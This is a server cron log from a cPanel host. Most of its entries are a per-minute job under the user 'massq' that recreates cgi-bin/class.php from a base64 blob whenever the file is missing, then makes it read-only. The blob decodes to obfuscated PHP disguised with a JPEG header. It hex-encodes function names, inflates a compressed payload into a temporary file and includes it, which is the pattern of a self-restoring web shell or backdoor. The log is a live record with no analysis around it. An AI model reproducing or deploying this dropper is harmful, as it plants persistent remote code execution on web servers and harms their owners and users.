Nov 14 07:37:01 server CROND[12266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:38:01 server CROND[13134]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:39:01 server CROND[14005]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:39:01 server CROND[14006]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:40:01 server CROND[15096]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:40:01 server CROND[15097]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:40:01 server CROND[15095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:40:01 server CROND[15098]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:41:01 server CROND[16106]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:42:01 server CROND[16971]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 07:42:01 server CROND[16972]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:43:01 server CROND[17873]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:44:01 server CROND[18741]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:45:01 server CROND[19617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 07:45:01 server CROND[19618]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:45:01 server CROND[19620]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:46:01 server CROND[20651]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:47:01 server CROND[21205]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:48:01 server CROND[21970]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:49:01 server CROND[22597]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 07:50:01 server CROND[23483]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 07:50:01 server CROND[23486]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 07:50:01 server CROND[23485]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 07:50:01 server CROND[23484]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
